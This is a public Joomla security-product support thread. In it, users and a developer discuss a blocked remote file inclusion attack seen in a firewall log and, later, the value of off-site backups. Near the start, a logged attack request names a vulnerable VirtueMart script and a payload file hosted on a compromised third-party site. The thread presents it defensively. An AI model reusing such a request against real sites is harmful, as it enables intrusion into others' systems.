Support

Admin Tools

#9852 Real Life Attack Example and the importance of security with AT

Posted in ‘Admin Tools for Joomla! 4 & 5’
This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version
n/a
PHP version
n/a
Admin Tools version
n/a

Latest post by nicholas on Thursday, 23 June 2011 02:11 CDT

slaes
Hi Guys,

I Was just going through some of our over night logs and though i would share a real life example of a compromised site which was trying to hack one of our sites. Its simply intended to demonstarter (for those who do not know or indeed think it'll happen to them) what happens and the importance of security tools like admin tools.

Ok so im looking through our logs and see the following:

WAF Rules: Remote File Injection attempt in ARGS (AE)"] [data ""] [severity "CRITICAL"] -

GET /com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.xclusivetouch.co.uk/cache/test.txt?? HTTP/1.1

Message: Access denied with code 403 (phase 2)

So in short this poor sod's joomla website (www.xclusivetouch.co.uk) has been hacked and the hacker is trying to hack one of our virtuemart sites using an already hacked site.

This is probably the most common form of attack.

If you look at the hacked site, www.xclusivetouch.co.uk/cache/test.txt you will see its the cache dire which is compromised

If you have any decient desktop av software it will block you from accessing this file. however if you even go www.xclusivetouch.co.uk/cache you can see the entire directory.

This is indeed at crying shame and intended to simple demo as to what goes on out their.

On the compromised site:
- AT htaccess maker whould have blocked all this as it woould not have allowed access to the cache folder nor to the inclusion of the so called test.txt

On Our site:
- The RFI shield in WAF easily pics up and block this attempt. Without AT and standard joomla core, THIS IS ALLOWED TO PASS.

When i see these things i always feel bad for site owners and tend to advise them via a quick email, however their are so many its not funny.

Nico you want to add anything to this?

I though it would be a good idea to demonstarte a real life example to AT members on probably the most common form of attack and how easily it can be prevented.



nicholas
Akeeba Staff
Manager
Bullseye! That's the kind of real life threat I designed ATP to block.

On the compromised site: most likely the attacker managed to gain elevated privileges or used a rogue file uploader vulnerability to upload test.txt. If the site owner had used ATP, he'd have prevented that in many ways:
- Rogue uploads are impossible, thanks to UploadShield (it would've blocked a file containing PHP code from being uploaded through Joomla!).
- Access to unprivileged directories (such as cache) is forbidden by .htaccess Maker's default rules
- Common SQLi / XSS attacks used to get elevated privileges get caught by SQLiShield and XSSShield, respectively
- In the unlikely case a non-Joomla! exploit was used, accessing the site's back-end would trigger an email to the site owner, notifying him that something is wrong.

On the target site, ATP helps mitigate the attack, as the RFIShield scans remote URLs. If PHP code is detected, the attack stops dead on its tracks. FYI, many months ago, I had left a known vulnerable version of a popular component on one of my sites for testing purposes. Sure enough, attackers tried to exploit it and were blocked straight away. That's how my proof of concept SQLiShield and RFIShield code graduated from proof of concept to release status. I thrive on dogfooding: I first try the software I develop on my sites, in vitro and in vivo, before releasing it to the public.

With ATP, it's almost always veni, vidi, vici :) The only attacks it can't prevent are those which target non-Joomla! scripts and that's why I've been bitching for over a year that any Joomla! software using rogue entry point PHP files should be banned and rewritten. The only valid case of using a non-Joomla! entry point is when updating the Joomla! core itself, i.e. what Admin Tools does with its Joomla! core updater.

That said, a big step to protecting your site against RFI attacks is disabling the URL fopen() wrappers. I generally consider this PHP feature a Bad Idea(tm). Nobody should need it, as long as cURL is available on the server.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

slaes
yep, i thought you would like that example and hopefully it serves new and excising members well as a true example of what goes on.

its quiet different when people read things on forums and actually see a direct example like that, and that's why i published it. Hopefully it helps.

nicholas
Akeeba Staff
Manager
Yes, it does help! Most people have never seen a real life attack. For them, hacking is something "magical". When you get to see how darn easy it is to get hacked, you begin to appreciate the way a solution works even more!

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

slaes
no worries man, personally i love your work and feel obliged to contribute to the forum and members when i can.

you dont by any chance allow do-follow sig links, 100 posts, whats it take to get to the single gold star, lol :)

nicholas
Akeeba Staff
Manager
The gold star is awarded at 8,000 posts, he he! If someone reaches that number of posts, I will have certainly already hired him!

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

slaes
lol, for the record 99% of mine are solutions not problems.

i would imagine if some reached 8000 support posts, they would have long had their money given back and a lifetime subscription without support on the house. lol

nicholas
Akeeba Staff
Manager
That would have already happened at around 150 posts, so you're very close to being awarded a free lifetime subscription, my friend ;)

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

earthrat
I am one that finds this type of information very helpful. Thanks for posting this and explaining what happened. I would like to see more of these types of posts so I can see how it is done.

As Nic said it can appear magical and for me it is more of an abstract, where I don't really understand most of it and so I just trust the software to do its job and for me that really is only half the solution.

nicholas
Akeeba Staff
Manager
For a very long time I'm thinking of creating a series of tutorials regarding how common exploits work and how to avoid them. The problem is that you can't demonstrate exploits without, at the same time, teaching people how to hack other people's sites. It's like having to shoot someone to explain what a bullet does to a gunshot victim :( So, I am stuck. I either have to present something generic, which won't shed any more light to what is going on during a hack, or risk of accidentally putting my black hat on.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

slaes
right on man. once its illistrated infront of you, magical thoughts simply turn into, is that all.

The scariest and i guess saddest part of all is how simply 99% of these things can be avoided.

Like this poor unsuspecting bloke site, he's screwed and fixing it will not be easy. Hackers always leave door's open, good ones anyway.

Believe me, i thought twice before advertising the fact, however its already compromised so what the heck. People need to learn and i bet this bloke will be on a mission to avoid it in future, at least one hopes.

Black hat isnt always bad Nico, especially re SEO.

You guys wanna LAUGH hard, check out this site and what the guy says about seo, its a pissa (and has lots of truth indeed)

http://xrumerservice.co/myths-and-misconceptions/

Its a funny read and my favourite part is

White Hat: Scared. Inexperienced. Scrotum-less.
Grey Hat: Learning. Still scared, contemplating growing balls.
Black Hat: Well versed and experienced. Doesn’t give a f&ck. He’s got $$ to make.

earthrat
Nic, think of it this way...

People kill people not guns and if someone wants to know how to hack a site there are plenty of resources out there that will teach them. In fact I have joined a few of these groups so I could learn how they do it in order to better defend myself against them. Does not make me feel good to be a double agent so to speak but I want to know.

I can see your dilemma but just as a gun manufacturer has to have the conscience that what they build can do harm, they also realize that the same product will be used to defend against attack. It is less likely that some with a gun will be attacked by someone else with a gun but at least then they are able to protect themselves.

I agree it is a double edged sword but the bottom line is knowledge is power and without it we are defenseless. You only have to realize the huge benefit this knowledge will be to those of us that are good and are trying very hard to protect our interests as well as that of our clients. That should be encouragement to you knowing you are not only helping us but those we support and you will get no argument from me either way but I will not judge anyone who has good intentions and is trying to help and anyone that does can kiss my ass…;-)

nicholas
Akeeba Staff
Manager
OK, I think I will start writing this series after all. Follow me on Twitter @nikosdion or @akeebabackup and you'll know when the first articles will be ready :)

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

earthrat
This is really great news Nicolas and I am one step ahead of you (or two depending on how you look at it) since I already follow you (everywhere;-).

I am sure you will have quite a following of us that feel a need to know regarding this and thank you for your contribution and all your efforts. You are IMHO the most valuable person for Joomla!

Maybe even start a group on www.people.joomla.org would be a great way to connect with everyone?

nicholas
Akeeba Staff
Manager
Thank you for your kind words!

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

user38762
Very nice. This kinda of thing helps to explain what must be super obvious to your guys, to us users who only get the basic concept. Examples like this really "show" us how and why your tools are working. Very nice!

PS: Sorry for digging up an old post, its the first time Ive seen it and the idea presented helped alot.

slaes
The reality for the non security conscious and backup - What backup?

http://www.smh.com.au/technology/security/4800-aussie-sites-evaporate-after-hack-20110621-1gd1h.html

nicholas
Akeeba Staff
Manager
This is yet another case of why backups taken by the host are never enough. I find it sad that not only the hosting company did not have off-site backups (which raises many questions on its own right as to the competence of many host out there) but also the response for some users. One guy said that he has lost years of work with his site. This means that he trusted all his work to be stored only on a single place and that he did not consider a backup for years! At this point I would like to remind everyone the Three Rules of Life, as pointed out by officer Martin Riggs in "Lethal Weapon":
1. Shit happens
2. Shit happens all the time
3. You'd better get used to the first two rules
That's exactly what's going on. Sites do crash. Sites do get hacked. You can never put your head in the sand and pretend this won't happen to you. On the contrary. However, if you become obsessed with regular, off-site backups and proactive security then the chances of that misfortune happening to you is greatly minimised.

Thank you for sharing this link!

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

slaes
You know what else Nico, seriously WTF do people expect for $5 or $10 a month with these types of hosts.

I find it grossly negligent of the hosts part, however people should hied the warning about the old saying "you get what you pay for".

Your own backups are a given. If someone is stupid enough to put years of work into something with a budget host, and rely solely on that, well what else can one say about that!

I thought sharing a link of a host who just lost 4800 sites, irrecoverably may be very relevant to those among us who have the "it'll be right" attitude.

nicholas
Akeeba Staff
Manager
Exactly so! I had one guy tell me yesterday that he prefered using cPanel's backup feature instead of Akeeba Backup because he "only needed to store the backups on the server and cPanel backup is fast". His site and his clients' sites. I guess that when one of those sites gets hacked or the hard drive fails on that server, he'll realise how wrong he was, most likely immediately following his abrupt career change... People never learn.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Support Information

Working hours: We are open Monday to Friday, 9am to 7pm Cyprus timezone (EET / EEST). Support is provided by the same developers writing the software, all of which live in Europe. You can still file tickets outside of our working hours, but we cannot respond to them until we're back at the office.

Support policy: We would like to kindly inform you that when using our support you have already agreed to the Support Policy which is part of our Terms of Service. Thank you for your understanding and for helping us help you!